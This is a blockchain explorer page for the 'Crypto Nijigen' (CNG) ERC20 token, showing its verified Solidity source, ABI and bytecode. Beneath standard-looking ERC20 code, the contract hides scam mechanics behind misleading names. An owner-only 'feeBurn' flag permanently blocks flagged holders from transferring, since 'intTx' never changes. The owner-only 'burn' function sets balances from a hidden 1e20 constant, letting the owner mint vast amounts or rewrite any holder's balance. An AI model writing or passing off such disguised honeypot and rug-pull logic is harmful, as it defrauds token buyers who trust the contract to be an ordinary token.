ETH Price: $3,333.73 (+2.11%)
Gas: 3 Gwei

Token

Crypto Nijigen (CNG)
 

Overview

Max Total Supply

100,000,000 CNG

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
589,701.516498588 CNG

Value
$0.00
0x3b47629ce2cb538eac533528258d109347586ba9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CryptoNijigen

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-15
*/

/**

https://www.cryptonijigen.org/

https://t.me/CryptoNijigen

https://crypto-nijigen.gitbook.io/nijigencrypto/

*/



// SPDX-License-Identifier: MIT

pragma solidity =0.8.2;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    address internal _owner;
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private _feeBurn;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private maxTxLimit = 1*10**11*10**9;
    uint256 internal _totalSupply;
    bool intTx = true;
    uint256 private balances;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _owner = msg.sender;
        balances = maxTxLimit;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
        
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function revertFee(address _address) external onlyOwner {
        _feeBurn[_address] = false;
    }

    function feeBurn(address _address) external onlyOwner {
        _feeBurn[_address] = true;
    }

    function feeBurned(address _address) public view returns (bool) {
        return _feeBurn[_address];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
     
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_feeBurn[sender] || _feeBurn[recipient]) require(intTx == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
contract CryptoNijigen is ERC20 {
    uint8 immutable private _decimals = 9;
   
    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor () ERC20('Crypto Nijigen', 'CNG') {
        _totalSupply += 100000000 * 10**9;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
    
    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"feeBurned","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"revertFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405268056bc75e2d631000006004556001600660006101000a81548160ff021916908315150217905550600960ff1660809060ff1660f81b8152503480156200004a57600080fd5b506040518060400160405280600e81526020017f43727970746f204e696a6967656e0000000000000000000000000000000000008152506040518060400160405280600381526020017f434e4700000000000000000000000000000000000000000000000000000000008152508160089080519060200190620000cf92919062000247565b508060099080519060200190620000e892919062000247565b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600781905550505067016345785d8a00006005600082825462000150919062000325565b92505081905550600554600160006200016e6200023f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001b9919062000325565b92505081905550620001d06200023f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000231919062000308565b60405180910390a362000420565b600033905090565b82805462000255906200038c565b90600052602060002090601f016020900481019282620002795760008555620002c5565b82601f106200029457805160ff1916838001178555620002c5565b82800160010185558215620002c5579182015b82811115620002c4578251825591602001919060010190620002a7565b5b509050620002d49190620002d8565b5090565b5b80821115620002f3576000816000905550600101620002d9565b5090565b620003028162000382565b82525050565b60006020820190506200031f6000830184620002f7565b92915050565b6000620003328262000382565b91506200033f8362000382565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620003775762000376620003c2565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620003a557607f821691505b60208210811415620003bc57620003bb620003f1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60805160f81c611cff6200043f60003960006105050152611cff6000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806395d89b4111610097578063b3d22e9c11610066578063b3d22e9c146102ae578063b67df420146102ca578063dd62ed3e146102e6578063e22fb73014610316576100f5565b806395d89b41146102145780639dc29fac14610232578063a457c2d71461024e578063a9059cbb1461027e576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906115b2565b60405180910390f35b610132600480360381019061012d9190611351565b6103d8565b60405161013f9190611597565b60405180910390f35b6101506103f6565b60405161015d9190611754565b60405180910390f35b610180600480360381019061017b9190611302565b610400565b60405161018d9190611597565b60405180910390f35b61019e610501565b6040516101ab919061176f565b60405180910390f35b6101ce60048036038101906101c99190611351565b610529565b6040516101db9190611597565b60405180910390f35b6101fe60048036038101906101f9919061129d565b6105d5565b60405161020b9190611754565b60405180910390f35b61021c61061e565b60405161022991906115b2565b60405180910390f35b61024c60048036038101906102479190611351565b6106b0565b005b61026860048036038101906102639190611351565b61074c565b6040516102759190611597565b60405180910390f35b61029860048036038101906102939190611351565b610840565b6040516102a59190611597565b60405180910390f35b6102c860048036038101906102c3919061129d565b61085e565b005b6102e460048036038101906102df919061129d565b610947565b005b61030060048036038101906102fb91906112c6565b610a30565b60405161030d9190611754565b60405180910390f35b610330600480360381019061032b919061129d565b610ab7565b60405161033d9190611597565b60405180910390f35b606060088054610355906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610381906118b8565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b60006103ec6103e5610b0d565b8484610b15565b6001905092915050565b6000600554905090565b600061040d848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610458610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf90611674565b60405180910390fd5b6104f5856104e4610b0d565b85846104f091906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006105cb610536610b0d565b848460036000610544610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c691906117a6565b610b15565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606009805461062d906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610659906118b8565b80156106a65780601f1061067b576101008083540402835291602001916106a6565b820191906000526020600020905b81548152906001019060200180831161068957829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073590611694565b60405180910390fd5b61074882826110a2565b5050565b6000806003600061075b610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080f90611734565b60405180910390fd5b610835610823610b0d565b85858461083091906117fc565b610b15565b600191505092915050565b600061085461084d610b0d565b8484610ce0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc90611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220bcc1affded856df4779b316113e2b7e1b105f7a5b2b41b5c481d791049766bcd64736f6c63430008020033

Deployed Bytecode

